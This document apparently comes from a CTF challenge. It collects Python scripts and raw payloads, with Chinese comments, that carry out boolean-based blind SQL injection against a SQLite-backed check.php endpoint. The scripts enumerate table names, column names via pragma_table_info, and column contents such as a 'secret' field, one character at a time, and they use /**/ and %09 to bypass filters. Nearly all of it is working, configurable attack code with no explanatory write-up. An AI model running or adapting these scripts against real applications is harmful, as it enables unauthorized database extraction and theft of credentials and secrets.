1
import requests
2
import string
3

4
# ========== 配置区域 ==========
5
# 目标URL（请修改为实际目标）
6
TARGET_URL = "http://019aaa5f-80ee-7e49-802f-89d2b6790510.geek.ctfplus.cn/check.php"
7

8
# 字符集（可根据需要扩展）
9
CHARSET = string.ascii_letters + string.digits + "_{}!#$%&()*+,-./:;<=>?@[]^`|~ "
10

11
# 要提取的数据类型（取消注释其中一个）
12
#EXTRACTION_TYPE = "table_names"  # 表名
13
#EXTRACTION_TYPE = "column_names"  # 特定表的列名
14
EXTRACTION_TYPE = "column_data"  # 列数据
15
#EXTRACTION_TYPE = "flag_data"    # flag数据
16

17

18
# 当 EXTRACTION_TYPE = "column_names" 时，设置要爆破的表名
19
TARGET_TABLE = "users"  # 修改为你要爆破列名的表名
20

21
#当 EXTRACTION_TYPE = "column_data" 时，设置爆破的列名
22
TARGET_COLUMNS = "username"
23
# ========== 配置结束 ==========
24

25
def blind_sql_injection():
26
    extracted_data = ""
27

28
    # 根据选择的数据类型设置payload
29
    if EXTRACTION_TYPE == "table_names":
30
        # 提取所有表名
31
        base_payload = "'or/**/substr((select/**/group_concat(tbl_name)/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name/**/not/**/like/**/'sqlite_%'),{position},1)='{char}'--"
32
    elif EXTRACTION_TYPE == "column_data":
33
        # 提取users表的secret列数据
34
        base_payload = f"'or/**/substr((select/**/{TARGET_COLUMNS}/**/from/**/{TARGET_TABLE}/**/limit/**/2/**/offset/**/1),{{position}},1)='{{char}}'--"  # 修复：使用双花括号
35
    elif EXTRACTION_TYPE == "flag_data":
36
        # 提取可能的flag数据
37
        base_payload = "'or/**/substr((select/**/group_concat(secret)/**/from/**/users),{position},1)='{char}'--"
38
    elif EXTRACTION_TYPE == "column_names":
39
        # 提取特定表的所有列名
40
        base_payload = f"'or/**/substr((select/**/group_concat(name)/**/from/**/pragma_table_info('{TARGET_TABLE}')),{{position}},1)='{{char}}'--"
41
    else:
42
        print("错误：请选择有效的EXTRACTION_TYPE")
43
        return
44

45
    print(f"[*] 开始提取数据，类型: {EXTRACTION_TYPE}")
46
    if EXTRACTION_TYPE == "column_names":
47
        print(f"[*] 目标表: {TARGET_TABLE}")
48
    print("[*] 字符集大小:", len(CHARSET))
49

50
    # 逐字符提取数据
51
    for position in range(1, 100):  # 假设最大长度为100
52
        found_char = False
53

54
        for char in CHARSET:
55
            # 构建payload
56
            payload = base_payload.format(position=position, char=char)
57

58
            # 发送请求
59
            params = {"name": payload}
60

61
            try:
62
                response = requests.get(TARGET_URL, params=params, timeout=5)
63

64
                # 判断响应
65
                if "该用户存在且活跃" in response.text:
66
                    extracted_data += char
67
                    print(f"[+] 位置 {position}: '{char}' -> 当前结果: {extracted_data}")
68
                    found_char = True
69
                    break
70
            except Exception as e:
71
                print(f"[-] 请求失败: {e}")
72
                continue
73

74
        # 如果没有找到字符，可能已到数据末尾
75
        if not found_char:
76
            print(f"[*] 位置 {position} 未找到字符，可能已到数据末尾")
77
            break
78

79
    print(f"\n[+] 提取完成!")
80
    print(f"[+] 最终结果: {extracted_data}")
81

82
    # 对于列名结果，进行格式化显示
83
    if EXTRACTION_TYPE == "column_names" and extracted_data:
84
        columns = extracted_data.split(',')
85
        print(f"\n[+] {TARGET_TABLE}表的列结构:")
86
        for i, column in enumerate(columns, 1):
87
            print(f"    第{i}列: {column}")
88

89
    # 检查是否包含flag格式
90
    if "ctf{" in extracted_data.lower() or "flag{" in extracted_data.lower():
91
        print(f"[!!!] 发现FLAG: {extracted_data}")
92

93

94
if __name__ == "__main__":
95
    blind_sql_injection()

1
admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type='table')=2--

1
admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type='table'%09and%09tbl_name%09like%09'users')--

1
users
2
user
3
flag

1
admin'%09and%09(select%09count(*)%09from%09pragma_table_info('users'))=5--

1
#!/usr/bin/env python3
2
import requests
3
import string
4

5
URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name="
6
CHARS = string.ascii_letters + string.digits + "_"
7

8

9
def test(payload):
10
    try:
11
        response = requests.get(URL + payload, timeout=5)
12
        return "该用户存在且活跃" in response.text
13
    except:
14
        return False
15

16

17
print("爆破users表列名:")
18
for offset in range(5):
19
    name = ""
20
    pos = 1
21

22
    while True:
23
        found = False
24
        for char in CHARS:
25
            payload = f"admin'%09and%09(substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}),{pos},1)='{char}')--"
26
            if test(payload):
27
                name += char
28
                found = True
29
                break
30

31
        if not found:
32
            break
33
        pos += 1
34

35
    print(f"第{offset + 1}列: {name}")

1
#!/usr/bin/env python3
2
"""
3
简易通用列数据爆破脚本
4
用于爆破已知表中指定列的数据内容
5
"""
6

7
import requests
8
import string
9
import time
10

11
# ============================ 配置区域 ============================
12
# 目标URL（在此处修改为目标URL）
13
TARGET_URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name="
14

15
# 表名（在此处修改为要爆破的表名）
16
TABLE_NAME = "users"
17

18
# 列名列表（在此处修改为要爆破的列名）
19
COLUMNS = ["secret"]  # 例如: ["username", "password", "secret"]
20

21
# 要爆破的行数（在此处修改为要爆破的行数）
22
MAX_ROWS = 3
23

24
# 请求延迟（秒）（在此处修改请求频率）
25
DELAY = 0.1
26

27

28
# ============================ 配置结束 ============================
29

30
def test_payload(payload):
31
    """发送请求并检查响应"""
32
    full_url = TARGET_URL + payload
33
    try:
34
        response = requests.get(full_url, timeout=5)
35
        return "该用户存在且活跃" in response.text   #这里填充正确时的回显
36
    except:
37
        return False
38

39

40
def extract_column_data(table, column, row_offset):
41
    """提取指定表、列、行的数据"""
42
    data = ""
43
    position = 1
44

45
    # 字符集（包含常见字符）
46
    chars = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=[]|:;<>,.?/~` "
47

48
    while True:
49
        found_char = False
50

51
        for char in chars:
52
            # 构建查询Payload
53
            payload = f"admin'%09and%09(substr((select%09{column}%09from%09{table}%09limit%091%09offset%09{row_offset}),{position},1)='{char}')--"
54

55
            if test_payload(payload):
56
                data += char
57
                found_char = True
58
                print(f"  行{row_offset + 1} {column}: 位置{position}='{char}' -> {data}")
59
                break
60

61
        if not found_char:
62
            break
63

64
        position += 1
65
        time.sleep(DELAY)
66

67
    return data
68

69

70
def main():
71
    print(f"[*] 开始爆破表 '{TABLE_NAME}' 的数据")
72
    print(f"[*] 目标列: {', '.join(COLUMNS)}")
73
    print(f"[*] 最大行数: {MAX_ROWS}")
74
    print("=" * 50)
75

76
    # 对每一行进行爆破
77
    for row in range(MAX_ROWS):
78
        print(f"\n[*] 爆破第{row + 1}行数据:")
79

80
        # 对每一列进行爆破
81
        for column in COLUMNS:
82
            print(f"[*] 提取 {column} 列...")
83
            data = extract_column_data(TABLE_NAME, column, row)
84

85
            if data:
86
                print(f"[+] 行{row + 1} {column}: {data}")
87
            else:
88
                print(f"[-] 行{row + 1} {column}: 空或无法提取")
89

90
        print("-" * 30)
91

92

93
if __name__ == "__main__":
94
    main()

1
#!/usr/bin/env python3
2
"""
3
完整爆破users表5列列名
4
"""
5

6
import requests
7
import string
8
import time
9
import json
10

11

12
class AllColumnsExtractor:
13
    def __init__(self, target_url, delay=0.1, timeout=10):
14
        self.target_url = target_url
15
        self.delay = delay
16
        self.timeout = timeout
17
        self.request_count = 0
18
        self.start_time = time.time()
19

20
        # 响应特征
21
        self.true_indicator = "该用户存在且活跃"
22
        self.false_indicator = "未找到用户或已停用"
23

24
        # 设置会话
25
        self.session = requests.Session()
26
        self.session.headers.update({
27
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
28
        })
29

30
        print(f"[+] 目标URL: {target_url}")
31
        print(f"[+] 目标: users表所有5列列名")
32

33
    def build_payload(self, condition):
34
        """构建Payload"""
35
        payload = f"admin'%09and%09({condition})--"
36
        return payload
37

38
    def send_request(self, payload):
39
        """发送请求并检查响应"""
40
        full_url = f"{self.target_url}{payload}"
41

42
        try:
43
            self.request_count += 1
44
            response = self.session.get(full_url, timeout=self.timeout)
45

46
            if self.true_indicator in response.text:
47
                return True
48
            elif self.false_indicator in response.text:
49
                return False
50
            else:
51
                return False
52

53
        except Exception as e:
54
            print(f"[-] 请求失败: {e}")
55
            return False
56

57
    def get_column_name_length(self, offset):
58
        """获取指定列的列名长度"""
59
        print(f"[*] 获取第{offset + 1}列列名长度...")
60

61
        for length in range(1, 50):
62
            payload = self.build_payload(
63
                f"length((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}))={length}"
64
            )
65

66
            if self.send_request(payload):
67
                print(f"[+] 第{offset + 1}列列名长度: {length}")
68
                return length
69

70
            time.sleep(self.delay)
71

72
        print(f"[-] 无法获取第{offset + 1}列列名长度")
73
        return 0
74

75
    def extract_column_name(self, offset, length):
76
        """提取指定列的列名"""
77
        if length == 0:
78
            return ""
79

80
        print(f"[*] 提取第{offset + 1}列列名 (长度: {length})...")
81

82
        column_name = ""
83
        start_time = time.time()
84

85
        # 优化字符集 - 列名通常使用字母、数字和下划线
86
        char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_"
87

88
        for position in range(1, length + 1):
89
            progress = (position / length) * 100
90
            elapsed = time.time() - start_time
91
            eta = (elapsed / position) * (length - position) if position > 0 else 0
92

93
            print(f"\r[*] 第{offset + 1}列: [{progress:6.2f}%] 位置 {position}/{length}, "
94
                  f"ETA: {eta:.1f}s, 当前: {column_name}", end="")
95

96
            found_char = False
97
            for char in char_set:
98
                payload = self.build_payload(
99
                    f"substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}),{position},1)='{char}'"
100
                )
101

102
                if self.send_request(payload):
103
                    column_name += char
104
                    found_char = True
105
                    break
106

107
                time.sleep(self.delay)
108

109
            if not found_char:
110
                break
111

112
        print()
113
        return column_name
114

115
    def guess_common_column_names(self, offset):
116
        """猜测常见的列名"""
117
        print(f"[*] 尝试猜测第{offset + 1}列常见列名...")
118

119
        # 不同位置的常见列名
120
        common_columns_by_position = [
121
            ['id', 'uid', 'user_id', 'key'],  # 第1列常见
122
            ['username', 'user', 'name', 'account', 'login'],  # 第2列常见
123
            ['password', 'pass', 'pwd', 'hash'],  # 第3列常见
124
            ['secret', 'token', 'key', 'flag', 'ctf'],  # 第4列常见
125
            ['email', 'role', 'status', 'created_at', 'updated_at', 'last_login']  # 第5列常见
126
        ]
127

128
        if offset < len(common_columns_by_position):
129
            for column in common_columns_by_position[offset]:
130
                payload = self.build_payload(
131
                    f"(select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset})='{column}'"
132
                )
133

134
                if self.send_request(payload):
135
                    print(f"[+] 第{offset + 1}列列名: {column}")
136
                    return column
137

138
        return None
139

140
    def extract_all_columns(self):
141
        """提取所有5列的列名"""
142
        print("开始提取users表所有5列列名")
143
        print("=" * 60)
144

145
        column_names = []
146

147
        for offset in range(5):  # 5列，offset从0到4
148
            print(f"\n[*] 处理第{offset + 1}列:")
149

150
            # 先尝试猜测常见列名
151
            column_name = self.guess_common_column_names(offset)
152

153
            if not column_name:
154
                # 如果猜测失败，进行完整提取
155
                length = self.get_column_name_length(offset)
156
                if length > 0:
157
                    column_name = self.extract_column_name(offset, length)
158

159
            if column_name:
160
                column_names.append(column_name)
161
                print(f"[+] 第{offset + 1}列: {column_name}")
162
            else:
163
                column_names.append("未知")
164
                print(f"[-] 无法获取第{offset + 1}列列名")
165

166
        return column_names
167

168
    def verify_known_columns(self, column_names):
169
        """验证已知列名"""
170
        print("\n" + "=" * 60)
171
        print("[*] 验证已知列名")
172
        print("=" * 60)
173

174
        known_columns = ['id', 'username', 'password', 'secret']
175

176
        for i, column in enumerate(column_names):
177
            if column in known_columns:
178
                print(f"[+] 第{i + 1}列 '{column}' 是已知列")
179
            else:
180
                print(f"[!] 第{i + 1}列 '{column}' 是新发现的列")
181

182
    def run(self):
183
        """运行提取"""
184
        print("开始提取users表所有列名")
185
        print("=" * 60)
186

187
        try:
188
            # 提取所有列名
189
            column_names = self.extract_all_columns()
190

191
            # 显示结果
192
            self.show_results(column_names)
193

194
            # 验证已知列名
195
            self.verify_known_columns(column_names)
196

197
            # 显示统计信息
198
            self.show_statistics()
199

200
            # 保存结果
201
            self.save_results(column_names)
202

203
            print("\n[+] 所有列名提取完成!")
204

205
            return column_names
206

207
        except KeyboardInterrupt:
208
            print("\n[-] 用户中断操作")
209
            self.show_statistics()
210
            return None
211
        except Exception as e:
212
            print(f"\n[-] 执行过程中发生错误: {e}")
213
            import traceback
214
            traceback.print_exc()
215
            return None
216

217
    def show_results(self, column_names):
218
        """显示结果"""
219
        print("\n" + "=" * 60)
220
        print("[*] users表所有列名")
221
        print("=" * 60)
222

223
        for i, column in enumerate(column_names):
224
            print(f"第{i + 1}列: {column}")
225

226
    def show_statistics(self):
227
        """显示统计信息"""
228
        total_time = time.time() - self.start_time
229
        print("\n" + "=" * 60)
230
        print("[*] 统计信息")
231
        print("=" * 60)
232
        print(f"总请求数: {self.request_count}")
233
        print(f"总耗时: {total_time:.2f} 秒")
234
        print(f"平均速度: {self.request_count / total_time:.2f} 请求/秒")
235

236
    def save_results(self, column_names):
237
        """保存结果到文件"""
238
        timestamp = time.strftime("%Y%m%d_%H%M%S")
239
        filename = f"users_columns_{timestamp}.json"
240

241
        data = {
242
            'target_url': self.target_url,
243
            'extraction_time': time.strftime("%Y-%m-%d %H:%M:%S"),
244
            'column_count': len(column_names),
245
            'columns': column_names,
246
            'statistics': {
247
                'total_requests': self.request_count,
248
                'execution_time': time.time() - self.start_time
249
            }
250
        }
251

252
        with open(filename, 'w', encoding='utf-8') as f:
253
            json.dump(data, f, indent=2, ensure_ascii=False)
254

255
        print(f"[+] 结果已保存到: {filename}")
256

257
        # 同时保存为易读的文本文件
258
        txt_filename = f"users_columns_{timestamp}.txt"
259
        with open(txt_filename, 'w', encoding='utf-8') as f:
260
            f.write("Users Table Columns\n")
261
            f.write("===================\n\n")
262

263
            for i, column in enumerate(column_names):
264
                f.write(f"第{i + 1}列: {column}\n")
265

266
        print(f"[+] 文本格式结果已保存到: {txt_filename}")
267

268

269
def main():
270
    # 目标URL
271
    TARGET_URL = "http://019aa60b-289c-7887-a11f-1c264986b71b.geek.ctfplus.cn/check.php?name="
272

273
    # 配置参数
274
    DELAY = 0.1  # 请求延迟
275

276
    # 创建提取器实例
277
    extractor = AllColumnsExtractor(
278
        target_url=TARGET_URL,
279
        delay=DELAY
280
    )
281

282
    # 执行提取
283
    column_names = extractor.run()
284

285
    if column_names:
286
        print(f"\n[+] 下一步: 提取所有列的数据")
287

288

289
if __name__ == "__main__":
290
    main()